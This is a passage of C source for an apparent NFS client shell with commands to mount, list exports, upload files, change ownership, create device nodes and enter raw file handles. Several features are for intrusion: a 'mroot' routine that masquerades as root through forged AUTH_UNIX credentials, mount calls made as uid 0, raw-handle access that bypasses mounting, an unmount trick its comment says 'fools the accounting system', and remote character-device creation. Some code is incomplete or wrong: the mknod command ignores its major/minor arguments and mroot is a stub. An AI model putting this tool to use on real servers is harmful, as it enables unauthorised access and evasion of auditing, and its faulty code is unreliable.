  953.     aargs.attributes.gid = -1;
  954.     aargs.attributes.size = -1;
  955.     aargs.attributes.atime.seconds = -1;
  956.     aargs.attributes.atime.useconds = -1;
  957.     aargs.attributes.mtime.seconds = -1;
  958.     aargs.attributes.mtime.useconds = -1;
  959.  
  960.     if ((ares = nfsproc_setattr_2(&aargs, nfsclient)) == NULL) {
  961.     clnt_perror(nfsclient, "nfsproc_setattr");
  962.     return;
  963.     }
  964.     if (ares->status != NFS_OK) {
  965.     fprintf(stderr, "Set attributes failed: %s\n", nfs_error(ares->status));
  966.     return;
  967.     }
  968. }
  969.  
  970. /*
  971.  * Change owner (and group) of remote file or directory
  972.  */
  973. do_chown(argc, argv)
  974.     int argc;
  975.     char **argv;
  976. {
  977.     sattrargs aargs;
  978.     diropargs dargs;
  979.     attrstat *ares;
  980.     diropres *dres;
  981.     int own_uid, own_gid;
  982.  
  983.     if (mountpath == NULL) {
  984.     fprintf(stderr, "chown: no remote file system mounted\n");
  985.     return;
  986.     }
  987.     if (argc != 3) {
  988.     fprintf(stderr, "Usage: chown <uid>[.<gid>] <file>\n");
  989.     return;
  990.     }
  991.     if (sscanf(argv[1], "%d.%d", &own_uid, &own_gid) != 2) {
  992.     own_gid = -1;
  993.     if (sscanf(argv[1], "%d", &own_uid) != 1) {
  994.         fprintf(stderr, "chown: invalid uid[.gid]\n");
  995.         return;
  996.     }
  997.     }
  998.  
  999.     dargs.name = argv[2];
  1000.     bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
  1001.     if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
  1002.     clnt_perror(nfsclient, "nfsproc_lookup");
  1003.     return;
  1004.     }
  1005.     if (dres->status != NFS_OK) {
  1006.     fprintf(stderr, "%s: %s\n", argv[2], nfs_error(dres->status));
  1007.     return;
  1008.     }
  1009.  
  1010.     bcopy(&dres->diropres_u.diropres.file, &aargs.file, NFS_FHSIZE);
  1011.     aargs.attributes.mode = -1;
  1012.     aargs.attributes.uid = own_uid;
  1013.     aargs.attributes.gid = own_gid;
  1014.     aargs.attributes.size = -1;
  1015.     aargs.attributes.atime.seconds = -1;
  1016.     aargs.attributes.atime.useconds = -1;
  1017.     aargs.attributes.mtime.seconds = -1;
  1018.     aargs.attributes.mtime.useconds = -1;
  1019.  
  1020.     if ((ares = nfsproc_setattr_2(&aargs, nfsclient)) == NULL) {
  1021.     clnt_perror(nfsclient, "nfsproc_setattr");
  1022.     return;
  1023.     }
  1024.     if (ares->status != NFS_OK) {
  1025.     fprintf(stderr, "Set attributes failed: %s\n", nfs_error(ares->status));
  1026.     return;
  1027.     }
  1028. }
  1029.  
  1030. /*
  1031.  * Put file from local to remote
  1032.  */
  1033. do_put(argc, argv)
  1034.     int argc;
  1035.     char **argv;
  1036. {
  1037.     createargs cargs;
  1038.     diropargs dargs;
  1039.     diropres *cres;
  1040.     diropres *dres;
  1041.     char buf[BUFSIZ];
  1042.     fhandle handle;
  1043.     FILE *fp;
  1044.     int n;
  1045.     long offset;
  1046.  
  1047.     if (mountpath == NULL) {
  1048.     fprintf(stderr, "put: no remote file system mounted\n");
  1049.     return;
  1050.     }
  1051.     if (argc != 2 && argc != 3) {
  1052.     fprintf(stderr, "Usage: put <local-file> [<remote-file>]\n");
  1053.     return;
  1054.     }
  1055.  
  1056.     if ((fp = fopen(argv[1], "r")) == NULL) {
  1057.     fprintf(stderr, "put: cannot open %s\n", argv[1]);
  1058.     return;
  1059.     }
  1060.  
  1061.     /*
  1062.      * Create remote file name
  1063.      */
  1064.     cargs.where.name = argc == 3 ? argv[2] : argv[1];
  1065.     bcopy(directory_handle, &cargs.where.dir, NFS_FHSIZE);
  1066.     cargs.attributes.mode = 0666;
  1067.     cargs.attributes.uid = uid;
  1068.     cargs.attributes.gid = gid;
  1069.     cargs.attributes.size = -1;
  1070.     cargs.attributes.atime.seconds = -1;
  1071.     cargs.attributes.atime.useconds = -1;
  1072.     cargs.attributes.mtime.seconds = -1;
  1073.     cargs.attributes.mtime.useconds = -1;
  1074.     if ((cres = nfsproc_create_2(&cargs, nfsclient)) == NULL) {
  1075.     clnt_perror(nfsclient, "nfsproc_create");
  1076.     fclose(fp);
  1077.     return;
  1078.     }
  1079.     if (cres->status != NFS_OK)
  1080.     fprintf(stderr, "WARNING: Create failed: %s\n", nfs_error(*cres));
  1081.  
  1082.     /*
  1083.      * Look up remote file name, to get its handle
  1084.      */
  1085.     dargs.name = argc == 3 ? argv[2] : argv[1];
  1086.     bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
  1087.     if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
  1088.     clnt_perror(nfsclient, "nfsproc_lookup");
  1089.     fclose(fp);
  1090.     return;
  1091.     }
  1092.     if (dres->status != NFS_OK) {
  1093.     fprintf(stderr, "%s: %s\n", argv[1], nfs_error(dres->status));
  1094.     fclose(fp);
  1095.     return;
  1096.     }
  1097.     bcopy(&dres->diropres_u.diropres.file, handle, NFS_FHSIZE);
  1098.  
  1099.     for (offset = 0; (n = fread(buf, 1, sizeof(buf), fp)) > 0; offset += n) {
  1100.     writeargs wargs;
  1101.     attrstat *wres;
  1102.  
  1103.     bcopy(handle, &wargs.file, NFS_FHSIZE);
  1104.     wargs.beginoffset = wargs.offset = offset;
  1105.     wargs.totalcount = n;
  1106.     wargs.data.data_len = n;
  1107.     wargs.data.data_val = buf;
  1108.     if ((wres = nfsproc_write_2(&wargs, nfsclient)) == NULL) {
  1109.         clnt_perror(nfsclient, "nfsproc_write");
  1110.         fclose(fp);
  1111.         return;
  1112.     }
  1113.     if (wres->status != NFS_OK) {
  1114.         fprintf(stderr, "Write failed: %s\n", nfs_error(wres->status));
  1115.         fclose(fp);
  1116.         return;
  1117.     }
  1118.     }
  1119.     fclose(fp);
  1120. }
  1121.  
  1122. /*
  1123.  * Get/set file handle
  1124.  */
  1125. do_handle(argc, argv)
  1126.     int argc;
  1127.     char **argv;
  1128. {
  1129.     register char *p;
  1130.     register int i;
  1131.     int sock;
  1132.  
  1133.     if (argc <= 1) {
  1134.     if (mountpath == NULL) {
  1135.         fprintf(stderr, "handle: no remote file system mounted\n");
  1136.         return;
  1137.     }
  1138.     printf("%s:", mountpath);
  1139.     for (i = 0, p = (char *)directory_handle; i < NFS_FHSIZE; i++)
  1140.         printf(" %02x", *p++ & 0xFF);
  1141.     printf("\n");
  1142.     return;
  1143.     }
  1144.  
  1145.     if (argc != NFS_FHSIZE + 1) {
  1146.     fprintf(stderr, "Usage: handle [<file handle>]\n");
  1147.     return;
  1148.     }
  1149.  
  1150.     /* umount previous mounted remote file system */
  1151.     if (mountpath != NULL)
  1152.     close_nfs();
  1153.  
  1154.     /* setup communication channel with NFS server */
  1155.     sock = privileged();
  1156.     nfsserver_addr = server_addr;
  1157.     if ((nfsclient = clntudp_create(&nfsserver_addr, NFS_PROGRAM,
  1158.       NFS_VERSION, timeout, &sock)) == NULL) {
  1159.         clnt_pcreateerror("nfs clntudp_create");
  1160.         return 0;
  1161.     }
  1162.     clnt_control(nfsclient, CLSET_TIMEOUT, &timeout);
  1163.     nfsclient->cl_auth = authunix_create_default(uid, gid);
  1164.  
  1165.     /* provide some generic name for it */
  1166.     if ((mountpath = malloc(8 + 1)) == NULL) {
  1167.     fprintf(stderr, "internal error: no more core for mountpath\n");
  1168.     return;
  1169.     }
  1170.     strcpy(mountpath, "<handle>");
  1171.  
  1172.     /* copy handle from command line argument */
  1173.     for (i = 0, p = (char *)directory_handle; i < NFS_FHSIZE; i++)
  1174.     *p++ = (char) xtoa(argv[i + 1]);
  1175.  
  1176.     /* get transfer size */
  1177.     if ((transfersize = determine_transfersize()) <= 0) {
  1178.     fprintf(stderr, "Handle failed: Unable to obtain transfer size\n");
  1179.     return;
  1180.     }
  1181. }
  1182.  
  1183. /*
  1184.  * Create a character device
  1185.  */
  1186. do_mknod(argc, argv)
  1187.     int argc;
  1188.     char **argv;
  1189.  
  1190. {
  1191.     createargs cargs;
  1192.     diropargs dargs;
  1193.     diropres *cres;
  1194.     diropres *dres;
  1195.     char buf[BUFSIZ];
  1196.     fhandle handle;
  1197.     FILE *fp;
  1198.     int n;
  1199.     long offset;
  1200.  
  1201.     if (mountpath == NULL) {
  1202.     fprintf(stderr, "mknod: no remote file system mounted\n");
  1203.     return;
  1204.     }
  1205.     if (argc != 4) {
  1206.     fprintf(stderr, "Usage: mknod <file> <major> <minor>]\n");
  1207.     return;
  1208.     }
  1209. printf("%s\n", argv[1]);
  1210.  
  1211.     cargs.where.name=argv[1];
  1212.     bcopy(directory_handle, &cargs.where.dir, NFS_FHSIZE);
  1213.     cargs.attributes.mode = IFCHR;
  1214.     cargs.attributes.uid = uid;
  1215.     cargs.attributes.gid = gid;
  1216.     cargs.attributes.size = makedev(0, 0);
  1217.     cargs.attributes.atime.seconds = -1;
  1218.     cargs.attributes.atime.useconds = -1;
  1219.     cargs.attributes.mtime.seconds = -1;
  1220.     cargs.attributes.mtime.useconds = -1;
  1221.     if ((cres = nfsproc_create_2(&cargs, nfsclient)) == NULL) {
  1222.     clnt_perror(nfsclient, "nfsproc_create");
  1223.     return;
  1224.     }
  1225. }
  1226.  
  1227. /*
  1228.  * Attempt to masquerade as root (and update RPC authenticaton info)
  1229.  */
  1230. do_mroot(var, argc, argv)
  1231.     int *var, argc;
  1232.     char **argv;
  1233.  
  1234. {
  1235.     *var = 0x00100000;
  1236.     if (nfsclient && nfsclient->cl_auth) {
  1237.     auth_destroy(nfsclient->cl_auth);
  1238.     nfsclient->cl_auth = authunix_create_default(uid, gid);
  1239.     }
  1240. /*
  1241.  * Put in some type of code here
  1242.  * to find a directory owned by root
  1243.  * and write a zero byte file to it.
  1244.  * once written, it would be possible
  1245.  * to test to make sure this method
  1246.  * works and tell the person upon
  1247.  * startup.
  1248.  */
  1249. }
  1250.  
  1251. int
  1252. xtoa(s)
  1253.     char *s;
  1254. {
  1255.     register int n;
  1256.  
  1257.     for (n = 0; *s; s++) {
  1258.     n <<= 4;
  1259.     if (*s >= '0' && *s <= '9')
  1260.         n += *s - '0';
  1261.     else if (*s >= 'a' && *s <= 'f')
  1262.         n += *s - 'a' + 10;
  1263.     else if (*s >= 'A' && *s <= 'F')
  1264.         n += *s - 'A' + 10;
  1265.     else
  1266.         break;
  1267.     }
  1268.     return n;
  1269. }
  1270.  
  1271. /*
  1272.  * Set up a channel to the NFS server and
  1273.  * mount remote file system.
  1274.  */
  1275. do_mount(argc, argv)
  1276.     int argc;
  1277.     char **argv;
  1278. {
  1279.     char *host, *path;
  1280.     int umount = 0, portmap = 0;
  1281.  
  1282.     argv++; argc--;
  1283.     if (argc >= 1 && strcmp(argv[0], "-u") == 0) {
  1284.     argv++; argc--;
  1285.     umount = 1;
  1286.     }
  1287.     if (argc >= 1 && strcmp(argv[0], "-p") == 0) {
  1288.     argv++; argc--;
  1289.     portmap = 1;
  1290.     }
  1291.     if (argc == 0) {
  1292.     fprintf(stderr, "Usage: mount [-u] [-p] [<host>:]<path>\n");
  1293.     return;
  1294.     }
  1295.     if ((path = strchr(host = argv[0], ':')) != NULL) {
  1296.     *path++ = '\0';
  1297.     /* this heuristic is far too simple */
  1298.     if (remotehost && strcmp(remotehost, host) == 0) {
  1299.         if (mountpath) close_nfs();
  1300.     } else if (!open_mount(host))
  1301.         return;
  1302.     } else
  1303.     path = argv[0];
  1304.     if (remotehost == NULL) {
  1305.     fprintf(stderr, "mount: no host specified\n");
  1306.     return;
  1307.     }
  1308.     open_nfs(path, umount, portmap);
  1309. }
  1310.  
  1311. /*
  1312.  * Unmount remote file system, and close
  1313.  * RPC channel.
  1314.  */
  1315. /* ARGUSED */
  1316. do_umount(argc, argv)
  1317.     int argc;
  1318.     char **argv;
  1319. {
  1320.     if (argc != 1) {
  1321.     fprintf(stderr, "Usage: umount\n");
  1322.     return;
  1323.     }
  1324.     if (mountpath == NULL)
  1325.     fprintf(stderr, "umount: no remote file system mounted\n");
  1326.     else
  1327.     close_nfs();
  1328. }
  1329.  
  1330. /*
  1331.  * Unmount all remote file system from this host
  1332.  */
  1333. /* ARGUSED */
  1334. do_umountall(argc, argv)
  1335.     int argc;
  1336.     char **argv;
  1337. {
  1338.     if (argc != 1) {
  1339.     fprintf(stderr, "Usage: umountall\n");
  1340.     return;
  1341.     }
  1342.     if (remotehost == NULL) {
  1343.     fprintf(stderr, "umountall: no host specified\n");
  1344.     return;
  1345.     }
  1346.     if (mountpath != NULL) close_nfs();
  1347.     (void) mountproc_umntall_1(NULL, mntclient);
  1348. }
  1349.  
  1350. /*
  1351.  * Display all exported file systems on remote system
  1352.  */
  1353. /* ARGUSED */
  1354. do_export(argc, argv)
  1355.     int argc;
  1356.     char **argv;
  1357. {
  1358.     exports ex, *exp;
  1359.     groups gr;
  1360.  
  1361.     if (argc != 1) {
  1362.     fprintf(stderr, "Usage: export\n");
  1363.     return;
  1364.     }
  1365.     if (remotehost == NULL) {
  1366.     fprintf(stderr, "export: no host specified\n");
  1367.     return;
  1368.     }
  1369.     if ((exp = mountproc_export_1(NULL, mntclient)) == NULL) {
  1370.     clnt_perror(mntclient, "mountproc_export");
  1371.     return;
  1372.     }
  1373.     printf("Export list for %s:\n", remotehost);
  1374.     for (ex = *exp; ex != NULL; ex = ex->ex_next) {
  1375.     printf("%-25s", ex->ex_dir);
  1376.     if (strlen(ex->ex_dir) >= 25)
  1377.         printf("\n                    ");
  1378.     if ((gr = ex->ex_groups) == NULL)
  1379.         printf("everyone");
  1380.     while (gr) {
  1381.         printf("%s ", gr->gr_name);
  1382.         gr = gr->gr_next;
  1383.     }
  1384.     putchar('\n');
  1385.     }
  1386. }
  1387.  
  1388. /*
  1389.  * Display all remote mounted file systems
  1390.  */
  1391. /* ARGUSED */
  1392. do_dump(argc, argv)
  1393.     int argc;
  1394.     char **argv;
  1395. {
  1396.     mountlist ml, *mlp;
  1397.  
  1398.     if (argc != 1) {
  1399.     fprintf(stderr, "Usage: dump\n");
  1400.     return;
  1401.     }
  1402.     if (remotehost == NULL) {
  1403.     fprintf(stderr, "dump: no host specified\n");
  1404.     return;
  1405.     }
  1406.     if ((mlp = mountproc_dump_1(NULL, mntclient)) == NULL) {
  1407.     clnt_perror(mntclient, "mountproc_dump");
  1408.     return;
  1409.     }
  1410.     for (ml = *mlp; ml != NULL; ml = ml->ml_next)
  1411.     printf("%s:%s\n", ml->ml_hostname, ml->ml_directory);
  1412. }
  1413.  
  1414. /*
  1415.  * Generic status report
  1416.  */
  1417. /* ARGUSED */
  1418. do_status(argc, argv)
  1419.     int argc;
  1420.     char **argv;
  1421. {
  1422.     if (argc != 1) {
  1423.     fprintf(stderr, "Usage: status\n");
  1424.     return;
  1425.     }
  1426.     printf("User id      : %d\n", uid);
  1427.     printf("Group id     : %d\n", gid);
  1428.     if (remotehost)
  1429.     printf("Remote host  : `%s'\n", remotehost);
  1430.     if (mountpath)
  1431.     printf("Mount path   : `%s'\n", mountpath);
  1432.     printf("Transfer size: %d\n", transfersize);
  1433. }
  1434.  
  1435. /*
  1436.  * Simple on-line help facility
  1437.  */
  1438. /* ARGUSED */
  1439. do_help(argc, argv)
  1440.     int argc;
  1441.     char **argv;
  1442. {
  1443.     register int i;
  1444.  
  1445.     for (i = 0; i < sizeof(keyword)/sizeof(struct keyword); i++) {
  1446.     if (argc == 2 && strcmp(keyword[i].kw_command, argv[1]) != 0)
  1447.         continue;
  1448.     printf("%s %s\n", keyword[i].kw_command, keyword[i].kw_help);
  1449.     }
  1450. }
  1451.  
  1452. /*
  1453.  * Open a channel to remote Mount daemon,
  1454.  * possibly closing an already open connection.
  1455.  */
  1456. int
  1457. open_mount(host)
  1458.     char *host;
  1459. {
  1460.     int sock = privileged();
  1461.  
  1462.     /* close previous mounted host */
  1463.     if (remotehost != NULL)
  1464.     close_mount();
  1465.  
  1466.     /* convert hostname to IP address */
  1467.     if (isdigit(*host)) {
  1468.         server_addr.sin_addr.s_addr = inet_addr(host);
  1469.     } else {
  1470.         struct hostent *hp = gethostbyname(host);
  1471.         if (hp == NULL) {
  1472.             fprintf(stderr, "%s: unknown host\n", host);
  1473.         return 0;
  1474.         }
  1475.         bcopy(hp->h_addr, &server_addr.sin_addr.s_addr, hp->h_length);
  1476.         host = hp->h_name;
  1477.     }
  1478.     server_addr.sin_family = AF_INET;
  1479.     server_addr.sin_port = 0;
  1480.  
  1481.     /* set host name */
  1482.     if ((remotehost = malloc(strlen(host) + 1)) == NULL) {
  1483.     fprintf(stderr, "internal error: no more core for host\n");
  1484.     return 0;
  1485.     }
  1486.     strcpy(remotehost, host);
  1487.  
  1488.     /* setup communication channel with mount daemon */
  1489.     mntserver_addr = server_addr;
  1490.     if ((mntclient = clntudp_create(&mntserver_addr, MOUNTPROG,
  1491.       MOUNTVERS, timeout, &sock)) == NULL) {
  1492.         clnt_pcreateerror("mount clntudp_create");
  1493.         return 0;
  1494.     }
  1495.     clnt_control(mntclient, CLSET_TIMEOUT, &timeout);
  1496.     mntclient->cl_auth = authunix_create_default(0, 0);
  1497.     if (verbose)
  1498.     printf("Open %s (%s)\n",
  1499.         remotehost, inet_ntoa(server_addr.sin_addr));
  1500.     return 1;
  1501. }
  1502.  
  1503. /*
  1504.  * Close channel to mount daemon,
  1505.  * possibly umounting a NFS file system.
  1506.  */
  1507. close_mount()
  1508. {
  1509.     if (mountpath) close_nfs();
  1510.     if (verbose) printf("Close `%s'\n", remotehost);
  1511.     free(remotehost);
  1512.     remotehost = NULL;
  1513.     if (mntclient) {
  1514.     auth_destroy(mntclient->cl_auth);
  1515.     clnt_destroy(mntclient);
  1516.     }
  1517. }
  1518.  
  1519. /*
  1520.  * Mount an NFS file system, perhaps closing
  1521.  * a previous mounted one. The umount option
  1522.  * fools the accounting system.
  1523.  */
  1524. int
  1525. open_nfs(path, umount, portmap)
  1526.     char *path;
  1527.     int umount, portmap;
  1528. {
  1529.     int sock = privileged();
  1530.  
  1531.     /* umount previous mounted remote file system */
  1532.     if (mountpath != NULL)
  1533.     close_nfs();
  1534.  
  1535.     /* setup communication channel with NFS server */
  1536.     nfsserver_addr = server_addr;
  1537.     if ((nfsclient = clntudp_create(&nfsserver_addr, NFS_PROGRAM,
  1538.       NFS_VERSION, timeout, &sock)) == NULL) {
  1539.         clnt_pcreateerror("nfs clntudp_create");
  1540.         return 0;
  1541.     }
  1542.     clnt_control(nfsclient, CLSET_TIMEOUT, &timeout);
  1543.     nfsclient->cl_auth = authunix_create_default(uid, gid);
  1544.  
  1545.     /*
  1546.      * Get file handle for this path from the mount daemon. There
  1547.      * are two ways to get it, either ask it directly or get it
  1548.      * through the port mapper.
  1549.      */
  1550.     if (portmap) {
  1551.     if ((mountpoint = pmap_mnt(&path, &mntserver_addr)) == NULL)
  1552.         return 0;
  1553.     } else if ((mountpoint = mountproc_mnt_1(&path, mntclient)) == NULL) {
  1554.         clnt_perror(mntclient, "mountproc_mnt");
  1555.     return 0;
  1556.     }
  1557.     if (mountpoint->fhs_status != NFS_OK) {
  1558.         fprintf(stderr, "Mount failed: %s\n",
  1559.             nfs_error(mountpoint->fhs_status));
  1560.     return 0;
  1561.     }
  1562.     bcopy(mountpoint->fhstatus_u.fhs_fhandle, directory_handle, NFS_FHSIZE);
  1563.     if (umount) (void) mountproc_umnt_1(&path, mntclient);
  1564.  
  1565.     /* get transfer size */
  1566.     if ((transfersize = determine_transfersize()) <= 0) {
  1567.     fprintf(stderr, "Mount failed: Unable to obtain transfer size\n");
  1568.     (void) mountproc_umnt_1(&path, mntclient);
  1569.     return 0;
  1570.     }
  1571.  
  1572.     /* set mount path */
  1573.     if ((mountpath = malloc(strlen(path) + 1)) == NULL) {
  1574.     fprintf(stderr, "internal error: no more core for mountpath\n");
  1575.     return 0;
  1576.     }
  1577.     strcpy(mountpath, path);
  1578.     if (verbose)
  1579.     printf("Mount `%s'%s, transfer size %d bytes.\n",
  1580.         mountpath, umount ? " (unmount)":"", transfersize);
  1581.     return 1;
  1582. }
  1583.  
  1584. /*
  1585.  * Make a mount call via the port mapper
  1586.  */
  1587. fhstatus *
  1588. pmap_mnt(argp, server_addr)
  1589.     dirpath *argp;
  1590.     struct sockaddr_in *server_addr;
  1591. {
  1592.     enum clnt_stat stat;
  1593.     static fhstatus res;
  1594.     u_long port;
  1595.  
  1596.     bzero((char *)&res, sizeof(res));
  1597.     if ((stat = pmap_rmtcall(server_addr, MOUNTPROG, MOUNTVERS, MOUNTPROC_MNT,
  1598.       xdr_dirpath, argp, xdr_fhstatus, &res, timeout, &port)) != RPC_SUCCESS) {
  1599.     clnt_perrno(stat);
  1600.     return NULL;
  1601.     }
  1602.     return &res;
  1603. }
  1604.  
  1605. /*
  1606.  * Determine NFS server's transfer size
  1607.  */
  1608. static int
  1609. determine_transfersize()
  1610. {
  1611.     statfsres *res;
  1612.  
  1613.     if ((res = nfsproc_statfs_2(directory_handle, nfsclient)) == NULL)
  1614.     return 0;
  1615.     if (res->status != NFS_OK)
  1616.     return 0;
  1617.     return res->statfsres_u.reply.tsize;
  1618. }
  1619.  
  1620. /*
  1621.  * Acquire a privileged port when possible
  1622.  */
  1623. int
  1624. privileged()
  1625. {
  1626.     int lport = IPPORT_RESERVED - 1;
  1627.     struct sockaddr_in sin;
  1628.     int s, dontblock = 1;
  1629.  
  1630.     sin.sin_family = AF_INET;
  1631.     sin.sin_addr.s_addr = 0;
  1632.     s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1633.     if (s < 0)
  1634.     return RPC_ANYSOCK;
  1635.     for (;;) {
  1636.     sin.sin_port = htons((u_short)lport);
  1637.     if (bind(s, (caddr_t)&sin, sizeof (sin), 0) >= 0) {
  1638.         (void)ioctl(s, FIONBIO, (char *) &dontblock);
  1639.         if (verbose)
  1640.         fprintf(stderr, "Using a privileged port (%d)\n", lport);
  1641.         fflush(stderr);
  1642.         return s;
  1643.     }
  1644.     if (errno != EADDRINUSE && errno != EADDRNOTAVAIL)
  1645.         return RPC_ANYSOCK;
  1646.     (lport)--;
  1647.     if (lport == IPPORT_RESERVED/2) {
  1648.         fprintf(stderr, "privileged socket: All ports in use\n");
  1649.         return RPC_ANYSOCK;
  1650.     }
  1651.     }
  1652. }
  1653.  
  1654. /*
  1655.  * Close an NFS mounted file system
  1656.  */
  1657. close_nfs()
  1658. {
  1659.     if (mountpath == NULL) return;
  1660.     if (verbose) printf("Unmount `%s'\n", mountpath);
  1661.     (void) mountproc_umnt_1(&mountpath, mntclient);
  1662.     free(mountpath);
  1663.     mountpath = NULL;
  1664.     if (nfsclient) {
  1665.     auth_destroy(nfsclient->cl_auth);
  1666.     clnt_destroy(nfsclient);
  1667.     }
  1668. }
  1669.  
  1670. /*
  1671.  * Returns an auth handle with parameters determined by doing lots of
  1672.  * syscalls.
  1673.  */
  1674. AUTH *
  1675. authunix_create_default(uid, gid)
  1676.     int uid, gid;
  1677. {
  1678.     char machname[MAX_MACHINE_NAME + 1];
  1679.     int gids[1];
  1680.  
  1681.     if (gethostname(machname, MAX_MACHINE_NAME) == -1) {
  1682.     fprintf(stderr, "authunix_create_default: cannot get hostname\n");
  1683.     exit(1);
  1684.     }
  1685.     machname[MAX_MACHINE_NAME] = 0;
  1686.     gids[0] = gid;
  1687.     return (authunix_create(machname, uid, gid, 1, gids));
  1688. }
  1689.  
  1690. /*
  1691.  * Read all entries (names) in directory 'dirhandle' into
  1692.  * a dynamically build table. It is up to the caller to free
  1693.  * this table.
  1694.  */
  1695. getdirentries(dirhandle, table, ptr, nentries)
  1696.     fhandle *dirhandle;
  1697.     register char ***table;
  1698.     register char ***ptr;
  1699.     int nentries;
  1700. {
  1701.     readdirargs args;
  1702.     readdirres *res;
  1703.     entry *ep;
  1704.     int dircmp();
  1705.     char **last;
  1706.  
  1707.     *ptr = *table = (char **) calloc(nentries, sizeof(char *));
  1708.     last = *ptr + nentries;
  1709.     if (*ptr == NULL) {
  1710.     fprintf(stderr, "getdirentries: out of memory\n");
  1711.     return 0;
  1712.     }
  1713.  
  1714.     bcopy(*dirhandle, &args.dir, NFS_FHSIZE);
  1715.     bzero(args.cookie, NFS_COOKIESIZE);
  1716.     args.count = 1000;
  1717.     for (;;) {
  1718.         if ((res = nfsproc_readdir_2(&args, nfsclient)) == NULL) {
  1719.             clnt_perror(nfsclient, "nfsproc_readdir");
  1720.             break;
  1721.         }
  1722.         if (res->status != NFS_OK) {
  1723.             fprintf(stderr, "Readdir failed: %s\n", nfs_error(res->status));
  1724.             break;
  1725.         }
  1726.  
  1727.         ep = res->readdirres_u.reply.entries;
  1728.         while (ep != NULL) {
  1729.         if (*ptr == last) {
  1730.         *table = (char **)realloc(*table, 2*nentries*sizeof(char *));
  1731.         if (*table == NULL) {
  1732.             fprintf(stderr, "getdirentries: out of memory\n");
  1733.             exit(1);
  1734.         }
  1735.         *ptr = *table + nentries;
  1736.         last = *ptr + nentries;
  1737.         nentries *= 2;
  1738.         }
  1739.         if ((*(*ptr)++ = strsave(ep->name)) == NULL)
  1740.         return 0;
  1741.  
  1742.             if (ep->nextentry == NULL)
  1743.                 break;
  1744.             ep = ep->nextentry;
  1745.         }
  1746.         if (res->readdirres_u.reply.eof)
  1747.             break;
  1748.         bcopy(ep->cookie, args.cookie, NFS_COOKIESIZE);
  1749.     }
  1750.     qsort(*table, *ptr - *table, sizeof(char **), dircmp);
  1751.     return 1;
  1752. }
  1753.  
  1754. char *
  1755. strsave(str)
  1756.     char *str;
  1757. {
  1758.     char *cp = malloc(strlen(str) + 1);
  1759.  
  1760.     if (cp == NULL) {
  1761.     fprintf(stderr, "strsave: out of memory\n");
  1762.     return NULL;
  1763.     }
  1764.     strcpy(cp, str);
  1765.     return cp;
  1766. }
  1767.  
  1768. int
  1769. dircmp(p, q)
  1770.     char **p, **q;
  1771. {
  1772.     return strcmp(*p, *q);
  1773. }
  1774.  
  1775. /*
  1776.  * Match string against a normal shell pattern (*?[])
  1777.  */
  1778. int
  1779. match(s, argc, argv)
  1780.     char *s;
  1781.     int argc;
  1782.     char **argv;
  1783. {
  1784.     register int i;
  1785.  
  1786.     if (argc == 0) return 1;
  1787.     for (i = 0; i < argc; i++)
  1788.     if (matchpattern(s, argv[i]))
  1789.         return 1;
  1790.     return 0;
  1791. }
  1792.  
  1793. int
  1794. matchpattern(s, p)
  1795.     char *s, *p;
  1796. {
  1797.     if (*s == '.' && *p != '.')
  1798.     return 0;
  1799.     return amatchpattern(s, p);
  1800. }
  1801.  
  1802. int
  1803. amatchpattern(s, p)
  1804.     register char *s, *p;
  1805. {
  1806.     register int scc;
  1807.     int c, cc, ok, lc;
  1808.  
  1809.     if (scc = *s++)
  1810.     if ((scc &= 0177) == 0)
  1811.         scc = 0200;
  1812.  
  1813.     switch (c = *p++) {
  1814.     case '[':
  1815.     ok = 0;
  1816.     lc = 077777;
  1817.     while (cc = *p++) {
  1818.         if (cc == ']') {
  1819.         if (ok)
  1820.             return amatchpattern(s, p);
  1821.         else
  1822.             return 0;
  1823.         } else if (cc == '-') {
  1824.         if (lc <= scc && scc <= (c = *p++))
  1825.             ok++;
  1826.         } else
  1827.         if (scc == (lc = cc))
  1828.             ok++;
  1829.     }
  1830.     return 0;
  1831.     case '*':
  1832.     return umatchpattern(--s, p);
  1833.     case '\0':
  1834.     return !scc;
  1835.     default:
  1836.     if (c != scc)
  1837.         return 0;
  1838.     case '?':
  1839.     if (scc)
  1840.         return amatchpattern(s, p);
  1841.     return 0;
  1842.     }
  1843. }
  1844.  
  1845. int
  1846. umatchpattern(s, p)
  1847.     register char *s, *p;
  1848. {
  1849.     if (*p == '\0')
  1850.     return 1;
  1851.     while (*s != '\0')
  1852.     if (amatchpattern(s++, p))
  1853.         return 1;
  1854.     return 0;
  1855. }
  1856.  
  1857. /*
  1858.  * NFS errors
  1859.  */
  1860. char *
  1861. nfs_error(nfsstat)
  1862.     enum nfsstat nfsstat;
  1863. {
  1864.     switch (nfsstat) {
  1865.     case NFS_OK:
  1866.     return "No error";
  1867.     case NFSERR_PERM:
  1868.     return "Not owner";
  1869.     case NFSERR_NOENT:
  1870.     return "No such file or directory";
  1871.     case NFSERR_IO:
  1872.     return "I/O error";
  1873.     case NFSERR_NXIO:
  1874.     return "No such device or address";
  1875.     case NFSERR_ACCES:
  1876.     return "Permission denied";
  1877.     case NFSERR_EXIST:
  1878.     return "File exists";
  1879.     case NFSERR_NODEV:
  1880.     return "No such device";
  1881.     case NFSERR_NOTDIR:
  1882.     return "Not a directory";
  1883.     case NFSERR_ISDIR:
  1884.     return "Is a directory";
  1885.     case NFSERR_FBIG:
  1886.     return "File too large";
  1887.     case NFSERR_NOSPC:
  1888.     return "No space left on device";
  1889.     case NFSERR_ROFS:
  1890.     return "Read-only file system";
  1891.     case NFSERR_NAMETOOLONG:
  1892.     return "File name too long";
  1893.     case NFSERR_NOTEMPTY:
  1894.     return "Directory not empty";
  1895.     case NFSERR_DQUOT:
  1896.     return "Disc quota exceeded";
  1897.     case NFSERR_STALE:
  1898.     return "Stale NFS file handle";
  1899.     case NFSERR_WFLUSH:
  1900.     return "Write cache flushed";
  1901.     default:
  1902.     return "UKNOWN NFS ERROR";
  1903.     }
  1904. }
  1905.  
  1906. 
  1907.